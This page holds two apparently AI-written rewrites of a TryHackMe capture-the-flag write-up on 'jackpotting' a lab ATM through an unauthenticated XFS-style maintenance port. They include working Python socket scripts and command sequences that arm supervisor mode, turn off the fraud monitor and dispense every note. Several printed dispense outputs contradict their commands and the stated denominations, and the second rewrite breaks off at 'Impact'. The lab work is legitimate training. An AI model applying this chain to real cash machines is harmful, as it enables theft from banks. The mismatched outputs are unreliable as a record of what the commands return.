Skip to content
Access control Write-up Intermediate

Jackpot: How I Emptied an ATM Without a Card, a PIN, or a Single Transaction

A lab ATM exposed an unauthenticated maintenance interface on the branch network that spoke the XFS hardware protocol. An attacker could read a session nonce from a public status endpoint, derive a supervisor activation code, disable the fraud monitor, and dispense all cash without a card or PIN.

GHOSTEYE Follow

Published on medium.com

A branch ATM belonging to “Earth’s National Bank” had been pulled offline after a string of unexplained cash-outs. The forensic story was simple: someone emptied the machine without ever using a card, a PIN, or a transaction.

GHOSTEYE💀, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a walkthrough of the TryHackMe room Jackpot (tryhackme.com/room/jackpot). The scenario is a branch ATM belonging to a fictional "Earth's National Bank" that was pulled offline after a series of unexplained cash-outs. The machine was emptied without a card, without a PIN and without a single transaction, and the task is to work out how.

The room's description gives the key hint up front: the ATM exposes a maintenance interface intended only for engineers on the branch LAN, and that interface speaks the machine's native hardware protocol with "no authentication worth the name". That points at XFS (CEN/XFS), the real-world standard ATMs use to let software talk to cash dispensers, card readers and PIN pads. In the physical security world it is well known for exactly this kind of abuse.

From the original on medium.com

The room is a lab, so the target is a single machine. The walkthrough is written from the perspective of an attacker who has network reachability to that machine and nothing else: no card and no PIN.

Setup

The only precondition is network access to the lab host. The tools used are all standard:

  • nmap for the initial scan
  • curl to pull pages and JSON from the web service
  • nc to look at the raw protocol endpoint
  • python3 with the socket and struct modules to speak the binary protocol
  • strings, file and chmod to inspect the downloaded service tool

The target address used throughout is [redacted].

Finding it

Step 1: Recon

The first step is a service and version scan:

Bash
nmap -sC -sV 10.48.170.70
Text
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
8080/tcp open  http       BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open  jetdirect?

Three ports come back:

  • 22/tcp: SSH, standard, and not the way in.
  • 8080/tcp: a custom Python HTTP service whose banner reads "Earth's National Bank, Terminal 004 Engineering Console".
  • 9100/tcp: flagged as jetdirect? by Nmap, which is only a generic guess for the raw TCP printer port. In reality this is the dispenser's actual protocol endpoint.

The 8080 service looks like the maintenance interface the briefing warned about, so it is the first place to look.

Step 2: Reading the engineering console

The console page is fetched and the relevant section extracted:

Bash
curl -s http://[redacted]:8080/ -o console.html
cat console.html | sed -n '/Engineering Tools/,/<\/div>/p'
HTML
<p class="note">Field technicians: the terminal service tool derives a supervisor activation code
from the session code shown above. Download and run it on the code currently displayed on screen.</p>
<a class="btn" href="/jackpot" download>Download service tool — jackpot</a>

The page tells us two things: a service tool called jackpot derives a supervisor activation code from a session code, and that tool is downloadable from /jackpot. The session code is described as being shown on screen.

The live /status endpoint is then pulled to see what the console polls every 700ms:

Bash
curl -s http://[redacted]:8080/status | python3 -m json.tool
JSON
{
  "nonce": "178628",
  "armed": false,
  "monitor_on": true,
  "locked": false,
  "screen": "INSERT CARD",
  "remaining_notes": 280,
  "cassettes": [
    {"id": "CST1", "denom": 10,  "count": 100},
    {"id": "CST2", "denom": 20,  "count": 80},
    {"id": "CST3", "denom": 50,  "count": 60},
    {"id": "CST4", "denom": 100, "count": 40}
  ],
  "flag_released": false
}

This is the pivot. A session nonce that is displayed on the ATM screen is also sitting in plain JSON for anyone who can watch the network. The nonce feeds into a tool that produces a supervisor code, and that code presumably unlocks privileged commands on the dispenser. The status response also lists four cassettes with denominations of 10, 20, 50 and 100, and 280 notes remaining.

Step 3: Meeting the protocol

A raw connection to port 9100 returns a self-description:

Bash
nc [redacted] 9100
JSON
{"service": "Branch Engineering Gateway", "protocol": "XFS bridge", "request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data", "reply_format": "2 byte big-endian length + <length> bytes of JSON", "msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"}, "hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"}

The gateway describes a custom binary protocol: length-prefixed and framed, and clearly modelled on real XFS message structure. Requests are a one-byte message type, a four-byte big-endian command id, a two-byte big-endian length and then that many bytes of data. Replies are a two-byte big-endian length followed by that many bytes of JSON. The two message types are GETINFO (0x01) and EXECUTE (0x02), and the hint says to query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with GETINFO to get the full command table.

Netcat cannot cleanly do binary framing, so a small Python socket script is written to speak the protocol properly:

Python
cat > query.py << 'PYEOF'
import socket, struct

s = socket.create_connection(("[redacted]", 9100))
s.recv(4096)  # discard banner
req = bytes([0x01]) + struct.pack(">I", 0x0304) + struct.pack(">H", 0)
s.send(req)
length = struct.unpack(">H", s.recv(2))[0]
data = b""
while len(data) < length:
    data += s.recv(length - len(data))
print(data.decode())
s.close()
PYEOF
python3 query.py

The script connects, discards the banner, builds a GETINFO request for command 0x0304 with an empty payload, reads the two-byte length prefix, then reads exactly that many bytes and prints them. The response is the full command table:

JSON
{"rc": "WFS_SUCCESS", "interface": "Branch Engineering Gateway (XFS bridge)", "device_class": "CDM", "commands": {
   "WFS_INF_CDM_STATUS": "0x301",
   "WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
   "WFS_INF_CDM_CAPABILITIES": "0x304",
   "WFS_CMD_CDM_DISPENSE": "0x401",
   "WFS_CMD_CDM_ARM": "0x4f0",
   "WFS_CMD_CDM_SET_MONITOR": "0x4f1",
   "WFS_CMD_CDM_GET_FLAG": "0x4ff"
 }, "max_dispense": 40}

The whole plan is now visible: ARM supervisor mode, disable the fraud monitor, dispense until the vault is empty, claim the flag. The response also includes max_dispense set to 40.

Exploitation

Step 4: Becoming the supervisor

The jackpot binary is pulled from the web server to see how it turns a nonce into an activation code:

Bash
curl -s http://[redacted]:8080/jackpot -o jackpot
chmod +x jackpot
file jackpot
Text
jackpot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, stripped

It is a stripped 64-bit PIE executable. Strings are then filtered for anything related to the derivation:

Bash
strings jackpot | grep -i -E "nonce|code|xor|hash|sha|md5|supervisor|activ"
Text
[*] session nonce : %s
[*] activation code: %08u
usage: %s <6-digit session code from ATM screen>

The binary takes the session nonce as a command-line argument and prints an activation code. It is run with the live nonce from /status:

Bash
./jackpot 178628
Text
[*] session nonce : 178628
[*] activation code: 67588175

For the remaining steps, EXECUTE (0x02) commands need to be sent against specific command ids, so one reusable sender is built instead of a new script each time:

Python
cat > cmd.py << 'PYEOF'
import socket, struct, sys

def send_cmd(sock, msg_type, cmd_id, data=b""):
    req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(data)) + data
    sock.send(req)
    length = struct.unpack(">H", sock.recv(2))[0]
    resp = b""
    while len(resp) < length:
        resp += sock.recv(length - len(resp))
    return resp.decode()

msg_type = int(sys.argv[1], 0)
cmd_id = int(sys.argv[2], 0)
payload = sys.argv[3].encode() if len(sys.argv) > 3 else b""
s = socket.create_connection(("[redacted]", 9100))
s.recv(4096)
resp = send_cmd(s, msg_type, cmd_id, payload)
print(resp)
s.close()
PYEOF

The activation code is then fed into WFS_CMD_CDM_ARM (0x4f0). The first attempt wrapped it as JSON ({"code": "..."}) and was rejected: the protocol only promises JSON replies, not JSON requests. Sending the code as raw ASCII bytes works:

Bash
python3 cmd.py 0x02 0x4f0 67588175
JSON
{"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}

Supervisor mode is on. No card, no PIN, just a number derived from a value the machine handed out for free.

Step 5: Killing the watchdog

With supervisor access, disabling the fraud monitor is a single EXECUTE call to WFS_CMD_CDM_SET_MONITOR (0x4f1):

Bash
python3 cmd.py 0x02 0x4f1 off
JSON
{"rc": "WFS_SUCCESS", "monitor_on": false}

Nothing is watching what comes next.

Step 6: The cash-out

WFS_CMD_CDM_DISPENSE (0x401) takes a JSON payload naming a cassette and a note count, capped at 40 per call. All four cassettes are worked through in max-sized batches until the vault hits zero:

Bash
python3 cmd.py 0x02 0x401 '{"cassette":"CST1","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST1","count":20}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST2","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST2","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST3","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST3","count":20}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST4","count":40}'
JSON
{"rc": "WFS_SUCCESS", "notes": 40, "value": 4000, "remaining_notes": 240}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 2000, "remaining_notes": 200}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 1400, "remaining_notes": 160}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 800,  "remaining_notes": 120}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 600,  "remaining_notes": 80}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 400,  "remaining_notes": 40}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 400,  "remaining_notes": 0, "detail": "vault empty - cashout proven; GET_FLAG now available"}

One last call to WFS_CMD_CDM_GET_FLAG (0x4ff):

Bash
python3 cmd.py 0x02 0x4ff
JSON
{"rc": "WFS_SUCCESS", "flag": "THM{[redacted]}"}

Vault empty, flag captured.

Root cause

XFS was designed on the assumption that the hardware layer would only ever be reachable by trusted engineering tools on an isolated branch network. It was never built with authentication as a first-class concern, because network segmentation was expected to do that job. In this lab the maintenance interface is reachable, and the only thing standing between an attacker and the dispenser is a supervisor code derived from a nonce that the machine itself publishes in a /status JSON response. The protocol authenticates on "do you understand my binary framing" rather than on cryptographic identity, so once you can reach it, there is essentially no resistance.

The chain worked because each step relied on the previous assumption holding:

  • The nonce is displayed on the ATM screen, but it is served in plain JSON to anyone who can reach /status.
  • The supervisor code is meant to be produced by a trusted tool, but the tool is downloadable from the same web server and takes the nonce as a plain argument.
  • The fraud monitor can be switched off with a single command once supervisor mode is armed.
  • The dispense cap of 40 notes per call limits the size of a single batch, not the total, so repeating the call drains the vault.

Impact

An attacker with network reachability to the maintenance interface can take full control of the cash dispenser without a card, a PIN or a transaction. In this lab that means arming supervisor mode, disabling the fraud monitor, dispensing every note in all four cassettes and retrieving the flag. The walkthrough draws the real-world parallel explicitly: this mirrors actual ATM jackpotting attacks, such as those using Ploutus or Cutlet Maker malware, where attackers interact directly with the XFS layer to bypass the banking application entirely and issue dispense commands straight to the hardware.

The condition is the one stated throughout: the assumption that the hardware layer is unreachable breaks. A misconfigured VLAN, a forgotten firewall rule or a maintenance port left reachable is enough, because the dispenser itself has no concept of who is allowed to ask for cash. It trusts whoever is fluent in its protocol.

Fix

The fix, in the real world, is the same as the fix in this room's design: these interfaces should never be reachable outside a tightly controlled, authenticated, physically secured segment. Once you are talking XFS, the transaction has already stopped mattering. These interfaces should never be reachable outside a tightly controlled, authenticated, physically secured segment.

Variants to test

  • Nonce disclosure in status endpoints. Request the console's status or polling endpoint without credentials and look for a value that the UI also displays on screen. A positive result is a nonce, session code or similar value that the privileged tool consumes as input.
  • Downloadable service tools. Enumerate links and download paths on the maintenance console, such as /jackpot here. A positive result is a binary that takes the disclosed nonce as an argument and prints an activation or supervisor code.
  • Protocol self-description on raw ports. Connect to non-HTTP ports with nc and read the banner. A positive result is a JSON or text description of the framing, message types and a hint pointing at a capabilities command that returns the full command table.
  • Capabilities enumeration. Send the GETINFO request for the capabilities command id and inspect the returned command table. A positive result lists privileged commands such as arm, monitor control, dispense and flag retrieval, plus any per-call limits.
  • Payload format confusion. When a command rejects a JSON-wrapped argument, retry with the raw value as ASCII bytes. A positive result is a success response where the structured form failed, which shows the request side is not JSON at all.
  • Monitor and limit bypass by repetition. After arming, disable the monitor and repeat a capped dispense call until the remaining count reaches zero. A positive result is a sequence of successes that drains the resource despite the per-call cap.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

This is a walkthrough of a TryHackMe room called Jackpot (tryhackme.com/room/jackpot). TryHackMe is a website that hosts small, deliberately vulnerable computers you are allowed to break into, so you can practise without doing anything illegal. A "room" is one of those exercises.

The story in the room is that a cash machine (an ATM) belonging to a made-up bank called "Earth's National Bank" was taken offline after several unexplained cash-outs. Someone emptied the machine without ever using a bank card, without typing a PIN, and without making a single normal transaction. The exercise is to work out how that was possible.

The room's description gives the big hint right at the start: the ATM has a maintenance interface, a kind of back door meant only for engineers standing inside the branch, and that interface speaks the machine's own hardware language with "no authentication worth the name". Authentication is the process of proving who you are, like showing a passport at a border. "No authentication worth the name" means the machine does not really check who is talking to it.

That hint points at XFS (CEN/XFS). XFS is a real standard used by real ATMs. It is the agreed set of rules that lets the ATM's ordinary software talk to the physical parts: the cash dispenser (the part that spits out notes), the card reader, and the PIN pad. In the physical security world, XFS is well known for exactly this kind of abuse, because it was built to be trusted, not to check identities.

From the original on medium.com

Because this is a lab, the target is a single machine. The walkthrough is written from the point of view of an attacker who can reach that machine over the network and has nothing else: no card and no PIN. Everything below is done with that one advantage.

Setup

The only thing you need before starting is network access to the lab machine. The tools used are all standard and free:

  • nmap, a program that scans a computer to see which network doors (ports) are open and what is listening behind them.
  • curl, a command-line tool for fetching web pages and data from web addresses.
  • nc (netcat), a tool for opening a raw connection to a port and typing at whatever is on the other side.
  • python3 with the socket and struct modules. Python is a programming language; socket lets a script open network connections, and struct lets it pack numbers into exact byte layouts.
  • strings, file and chmod, small utilities for inspecting a downloaded program.

The target address used throughout is [redacted]. That is an IP address, the numeric address of a computer on a network, the way a phone number is the numeric address of a phone.

Finding it

Step 1: Recon

"Recon" is short for reconnaissance: looking around before touching anything, the way a burglar might walk past a house and note which windows are open. The first step is a scan of the target:

Bash
nmap -sC -sV 10.48.170.70

Line by line:

  • nmap is the scanning program.
  • -sC tells it to also run a set of default checks against whatever it finds, which often reveals extra detail.
  • -sV tells it to work out the version of each service it finds, not just the fact that something is there.
  • [redacted] is the machine to scan.

The scan comes back with this:

Text
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
8080/tcp open  http       BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open  jetdirect?

A port is a numbered door on a computer. One computer can run many services at once, and each one listens on its own port number, the way one building can have many numbered doors. STATE open means the door answered. SERVICE and VERSION are Nmap's guess at what is behind it.

Three ports came back:

  • 22/tcp: SSH, the standard way to log into a computer remotely. It is normal to see it, and it is not the way in here.
  • 8080/tcp: a custom Python HTTP service. HTTP is the language web browsers and web servers speak, and 8080 is a common alternative to the usual web port 80. Its banner (the greeting it gives when you connect) reads "Earth's National Bank, Terminal 004 Engineering Console". An engineering console is a control panel for technicians.
  • 9100/tcp: Nmap labels it jetdirect?, which is only a generic guess for the raw TCP printer port. In reality this is the dispenser's actual protocol endpoint, meaning the door behind which the cash dispenser listens for instructions.

The 8080 service looks like the maintenance interface the briefing warned about, so it is the first place to look.

Step 2: Reading the engineering console

The console page is fetched and the relevant section pulled out:

Bash
curl -s http://[redacted]:8080/ -o console.html
cat console.html | sed -n '/Engineering Tools/,/<\/div>/p'

Line by line:

  • curl fetches a web address. -s means silent, so it does not print progress noise. http://[redacted]:8080/ is the address: the protocol (http), the machine ([redacted]), the port (8080) and the path (/, meaning the front page). -o console.html saves the result into a file called console.html instead of printing it.
  • cat console.html prints that file. The | symbol pipes the output into the next command. sed -n '/Engineering Tools/,/<\/div>/p' is a text filter: -n means only print when told, and the pattern prints the lines from the one containing Engineering Tools up to the one containing </div>. In other words: show me just that section of the page.

The section it shows is this:

HTML
<p class="note">Field technicians: the terminal service tool derives a supervisor activation code
from the session code shown above. Download and run it on the code currently displayed on screen.</p>
<a class="btn" href="/jackpot" download>Download service tool — jackpot</a>

This is HTML, the language web pages are written in. <p> is a paragraph and <a> is a link. The paragraph tells us two things: a service tool called jackpot derives a supervisor activation code from a session code, and that tool can be downloaded from the address /jackpot. "Derives" means calculates: feed in one value, get another out. The session code is described as being shown on the ATM's screen.

Next, the live /status endpoint is pulled to see what the console polls every 700 milliseconds (about twice a second). An endpoint is a specific address on a web server that returns data rather than a page, like a service window rather than the front door.

Bash
curl -s http://[redacted]:8080/status | python3 -m json.tool

Line by line:

  • curl -s http://[redacted]:8080/status fetches the status address silently.
  • | python3 -m json.tool pipes the result into a small Python helper that pretty-prints JSON. JSON is a plain-text format for structured data, made of names and values in curly braces, easy for both humans and programs to read.

The result is this:

JSON
{
  "nonce": "178628",
  "armed": false,
  "monitor_on": true,
  "locked": false,
  "screen": "INSERT CARD",
  "remaining_notes": 280,
  "cassettes": [
    {"id": "CST1", "denom": 10,  "count": 100},
    {"id": "CST2", "denom": 20,  "count": 80},
    {"id": "CST3", "denom": 50,  "count": 60},
    {"id": "CST4", "denom": 100, "count": 40}
  ],
  "flag_released": false
}

Reading it in plain words: nonce is 178628; the machine is not armed; the monitor_on is true (the fraud monitor is running); it is not locked; the screen currently says INSERT CARD; there are remaining_notes of 280; and there are four cassettes, which are the physical boxes inside an ATM that hold notes of one denomination each. Cassette CST1 holds 10s and has 100 notes, CST2 holds 20s and has 80, CST3 holds 50s and has 60, CST4 holds 100s and has 40. flag_released is false, meaning the exercise's prize has not been handed out yet.

This is the turning point. A nonce is a one-time value, a number meant to be used once and then thrown away, usually to prove freshness. Here it is displayed on the ATM screen. Instead it is sitting in plain JSON for anyone who can watch the network. The nonce feeds into a tool that produces a supervisor code, and that code presumably unlocks privileged commands on the dispenser. The status response also lists four cassettes with denominations of 10, 20, 50 and 100, and 280 notes remaining.

Step 3: Meeting the protocol

A raw connection to port 9100 returns a self-description:

Bash
nc [redacted] 9100

Line by line: nc opens a raw connection, [redacted] is the machine, and 9100 is the port. Whatever the other side says appears on your screen.

JSON
{"service": "Branch Engineering Gateway", "protocol": "XFS bridge", "request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data", "reply_format": "2 byte big-endian length + <length> bytes of JSON", "msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"}, "hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"}

The gateway describes a custom binary protocol. A protocol is an agreed way of talking, like a handshake or a formal letter format. Binary means made of raw bytes, the 0s and 1s computers actually store, rather than readable text. A byte is eight bits, the basic unit of computer data; a single character like A is one byte.

Requests are built like this: a one-byte message type, a four-byte big-endian command id, a two-byte big-endian length, and then that many bytes of data. Big-endian is a convention for the order in which the bytes of a number are written, most significant first, the way you write the hundreds digit before the tens. Replies are a two-byte big-endian length followed by that many bytes of JSON. The two message types are GETINFO (0x01), meaning "tell me about yourself", and EXECUTE (0x02), meaning "do this". The 0x prefix means the number is written in hexadecimal, base 16, a compact way of writing byte values.

The hint says to query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with GETINFO to get the full command table. "Capabilities" means "what can you do".

Netcat cannot cleanly do binary framing, because it is built for typing text, not for assembling exact byte sequences. So a small Python socket script is written to speak the protocol properly:

Python
cat > query.py << 'PYEOF'
import socket, struct

s = socket.create_connection(("[redacted]", 9100))
s.recv(4096)  # discard banner
req = bytes([0x01]) + struct.pack(">I", 0x0304) + struct.pack(">H", 0)
s.send(req)
length = struct.unpack(">H", s.recv(2))[0]
data = b""
while len(data) < length:
    data += s.recv(length - len(data))
print(data.decode())
s.close()
PYEOF
python3 query.py

Line by line:

  • cat > query.py << 'PYEOF' writes everything up to the line PYEOF into a new file called query.py. This is a shell heredoc, a way of typing a whole file in one go.
  • import socket, struct loads the two Python modules the script needs.
  • s = socket.create_connection(("[redacted]", 9100)) opens a network connection to that machine on port 9100 and stores it in s.
  • s.recv(4096) reads up to 4096 bytes from the connection. The comment says # discard banner: the greeting the server sends first is thrown away, because the script wants to read the reply to its own request, not the greeting.
  • req = bytes([0x01]) + struct.pack(">I", 0x0304) + struct.pack(">H", 0) builds the request. bytes([0x01]) is the one-byte message type GETINFO. struct.pack(">I", 0x0304) packs the command id 0x0304 into four bytes, where > means big-endian and I means a four-byte integer. struct.pack(">H", 0) packs a length of zero into two bytes, where H means a two-byte integer. So: message type, command id, length zero, no data.
  • s.send(req) sends those bytes.
  • length = struct.unpack(">H", s.recv(2))[0] reads the first two bytes of the reply and unpacks them as the length prefix.
  • data = b"" starts an empty byte string.
  • while len(data) < length: keeps looping until the script has read as many bytes as the length said to expect.
  • data += s.recv(length - len(data)) reads exactly the number of bytes still missing and appends them.
  • print(data.decode()) turns the bytes into readable text and prints it.
  • s.close() closes the connection.
  • python3 query.py runs the script.

The response is the full command table:

JSON
{"rc": "WFS_SUCCESS", "interface": "Branch Engineering Gateway (XFS bridge)", "device_class": "CDM", "commands": {
   "WFS_INF_CDM_STATUS": "0x301",
   "WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
   "WFS_INF_CDM_CAPABILITIES": "0x304",
   "WFS_CMD_CDM_DISPENSE": "0x401",
   "WFS_CMD_CDM_ARM": "0x4f0",
   "WFS_CMD_CDM_SET_MONITOR": "0x4f1",
   "WFS_CMD_CDM_GET_FLAG": "0x4ff"
 }, "max_dispense": 40}

rc is the return code, and WFS_SUCCESS means it worked. device_class is CDM, which in XFS stands for Cash Dispenser Module, the cash-out part of the machine. The commands list maps friendly names to their numeric ids: status, cash unit info, capabilities, dispense, arm, set monitor, and get flag. max_dispense is 40.

The whole plan is now visible: ARM supervisor mode, disable the fraud monitor, dispense until the vault is empty, claim the flag. Supervisor mode is a higher privilege level, like a manager's key in a shop. The fraud monitor is the alarm that would normally notice cash leaving outside a transaction. The flag is the exercise's prize, a string you submit to prove you finished.

Exploitation

Step 4: Becoming the supervisor

The jackpot binary is pulled from the web server to see how it turns a nonce into an activation code. A binary is a compiled program, a file the computer runs directly rather than a script it reads line by line.

Bash
curl -s http://[redacted]:8080/jackpot -o jackpot
chmod +x jackpot
file jackpot

Line by line:

  • curl -s http://[redacted]:8080/jackpot -o jackpot downloads the file at /jackpot and saves it as jackpot.
  • chmod +x jackpot marks the file as executable, meaning the operating system is now allowed to run it. Without this, the system refuses to run a downloaded file.
  • file jackpot asks the system what kind of file it is.
Text
jackpot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, stripped

This says it is a 64-bit Linux program for the x86-64 processor family. PIE means position-independent executable, a program that can be loaded anywhere in memory. dynamically linked means it borrows code from shared libraries at run time rather than carrying everything itself. stripped means the names of its internal functions have been removed, so reading it is harder.

Strings are then filtered for anything related to the derivation:

Bash
strings jackpot | grep -i -E "nonce|code|xor|hash|sha|md5|supervisor|activ"

Line by line:

  • strings jackpot pulls out every run of readable text from inside the binary. Programs contain lots of leftover text, such as messages they print, and this is a quick way to peek at what a program does.
  • | grep -i -E "..." filters those lines. grep searches text; -i ignores upper and lower case; -E allows a pattern with alternatives separated by |. The pattern asks for lines containing any of: nonce, code, xor, hash, sha, md5, supervisor, activ. These are words you would expect near a code-derivation routine.
Text
[*] session nonce : %s
[*] activation code: %08u
usage: %s <6-digit session code from ATM screen>

These are the messages the program prints. %s and %08u are placeholders where a value gets filled in. The last line is the usage message: the program expects a six-digit session code from the ATM screen as its argument.

So the binary takes the session nonce as a command-line argument and prints an activation code. It is run with the live nonce from /status:

Bash
./jackpot 178628

Line by line: ./ means "the file in the current folder", jackpot is the program, and 178628 is the nonce copied from the status response.

Text
[*] session nonce : 178628
[*] activation code: 67588175

The program echoes the nonce and prints the activation code 67588175.

For the remaining steps, EXECUTE (0x02) commands need to be sent against specific command ids, so one reusable sender is built instead of a new script each time:

Python
cat > cmd.py << 'PYEOF'
import socket, struct, sys

def send_cmd(sock, msg_type, cmd_id, data=b""):
    req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(data)) + data
    sock.send(req)
    length = struct.unpack(">H", sock.recv(2))[0]
    resp = b""
    while len(resp) < length:
        resp += sock.recv(length - len(resp))
    return resp.decode()

msg_type = int(sys.argv[1], 0)
cmd_id = int(sys.argv[2], 0)
payload = sys.argv[3].encode() if len(sys.argv) > 3 else b""
s = socket.create_connection(("[redacted]", 9100))
s.recv(4096)
resp = send_cmd(s, msg_type, cmd_id, payload)
print(resp)
s.close()
PYEOF

Line by line:

  • cat > cmd.py << 'PYEOF' writes the script into a file called cmd.py.
  • import socket, struct, sys loads the network, packing and argument modules. sys gives access to the arguments typed on the command line.
  • def send_cmd(sock, msg_type, cmd_id, data=b""): defines a reusable function that takes a connection, a message type, a command id and optional data.
  • req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(data)) + data builds the request exactly as the gateway described: one byte of message type, four bytes of command id, two bytes of length, then the data.
  • sock.send(req) sends it.
  • length = struct.unpack(">H", sock.recv(2))[0] reads the two-byte length prefix of the reply.
  • resp = b"" starts an empty reply buffer.
  • while len(resp) < length: loops until the whole reply has arrived.
  • resp += sock.recv(length - len(resp)) reads the missing bytes and appends them.
  • return resp.decode() returns the reply as readable text.
  • msg_type = int(sys.argv[1], 0) takes the first argument typed on the command line and converts it to a number. The 0 means Python works out the base, so 0x02 is understood as hexadecimal.
  • cmd_id = int(sys.argv[2], 0) does the same for the second argument.
  • payload = sys.argv[3].encode() if len(sys.argv) > 3 else b"" takes the third argument as data if one was given, otherwise uses empty data.
  • s = socket.create_connection(("[redacted]", 9100)) opens the connection.
  • s.recv(4096) discards the banner.
  • resp = send_cmd(s, msg_type, cmd_id, payload) sends the command and stores the reply.
  • print(resp) prints it.
  • s.close() closes the connection.

The activation code is then fed into WFS_CMD_CDM_ARM (0x4f0). The first attempt wrapped it as JSON ({"code": "..."}) and was rejected: the protocol only promises JSON replies, not JSON requests. Sending the code as raw ASCII bytes works. ASCII is the standard mapping between characters and byte values, so the digits 67588175 become eight bytes, one per digit.

Bash
python3 cmd.py 0x02 0x4f0 67588175

Line by line: run the script with Python 3; 0x02 is the message type EXECUTE; 0x4f0 is the command id for arm; 67588175 is the activation code as the data.

JSON
{"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}

WFS_SUCCESS means it worked, and the detail confirms supervisor mode is armed. No card, no PIN, just a number derived from a value the machine handed out for free.

Step 5: Killing the watchdog

With supervisor access, disabling the fraud monitor is a single EXECUTE call to WFS_CMD_CDM_SET_MONITOR (0x4f1):

Bash
python3 cmd.py 0x02 0x4f1 off

Line by line: 0x02 is EXECUTE, 0x4f1 is the set-monitor command, and off is the data telling it to switch the monitor off.

JSON
{"rc": "WFS_SUCCESS", "monitor_on": false}

The reply confirms the monitor is now off. Nothing is watching what comes next.

Step 6: The cash-out

WFS_CMD_CDM_DISPENSE (0x401) takes a JSON payload naming a cassette and a note count, capped at 40 per call. All four cassettes are worked through in max-sized batches until the vault hits zero:

Bash
python3 cmd.py 0x02 0x401 '{"cassette":"CST1","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST1","count":20}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST2","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST2","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST3","count":40}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST3","count":20}'
python3 cmd.py 0x02 0x401 '{"cassette":"CST4","count":40}'

Line by line: each line sends EXECUTE (0x02) to command 0x401 (dispense) with a JSON payload. The payload names the cassette and the number of notes. The single quotes around the JSON keep the shell from interpreting the curly braces and double quotes. The first two lines empty CST1 (40 then 20, its full 100 notes), the next two empty CST2 (40 and 40, its full 80), the next two empty CST3 (40 then 20, its full 60), and the last empties CST4 (40, its full 40).

JSON
{"rc": "WFS_SUCCESS", "notes": 40, "value": 4000, "remaining_notes": 240}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 2000, "remaining_notes": 200}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 1400, "remaining_notes": 160}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 800,  "remaining_notes": 120}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 600,  "remaining_notes": 80}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 400,  "remaining_notes": 40}
{"rc": "WFS_SUCCESS", "notes": 40, "value": 400,  "remaining_notes": 0, "detail": "vault empty - cashout proven; GET_FLAG now available"}

Each reply confirms 40 notes were dispensed, gives the value of that batch, and reports how many notes remain. The last reply says the vault is empty and the flag is now available.

One last call to WFS_CMD_CDM_GET_FLAG (0x4ff):

Bash
python3 cmd.py 0x02 0x4ff

Line by line: 0x02 is EXECUTE, 0x4ff is the get-flag command, and there is no data.

JSON
{"rc": "WFS_SUCCESS", "flag": "THM{[redacted]}"}

Vault empty, flag captured.

Root cause

A root cause is the underlying reason a problem exists, as opposed to the surface symptom. XFS was designed on the assumption that the hardware layer would only ever be reachable by trusted engineering tools on an isolated branch network. It was never built with authentication as a first-class concern, because network segmentation was expected to do that job. Network segmentation means keeping different parts of a network apart, the way a building has separate rooms with separate keys.

In this lab the maintenance interface is reachable, and the only thing standing between an attacker and the dispenser is a supervisor code derived from a nonce that the machine itself publishes in a /status JSON response. The protocol authenticates on "do you understand my binary framing" rather than on cryptographic identity. Cryptographic identity means proving who you are with maths, such as a key or a certificate, rather than with a shared secret or a format. So once you can reach it, there is essentially no resistance.

The chain worked because each step relied on the previous assumption holding:

  • The nonce is displayed on the ATM screen, but it is served in plain JSON to anyone who can reach /status.
  • The supervisor code is meant to be produced by a trusted tool, but the tool is downloadable from the same web server and takes the nonce as a plain argument.
  • The fraud monitor can be switched off with a single command once supervisor mode is armed.
  • The dispense cap of 40 notes per call limits the size of a single batch, not the total, so repeating the call drains the vault.

Impact

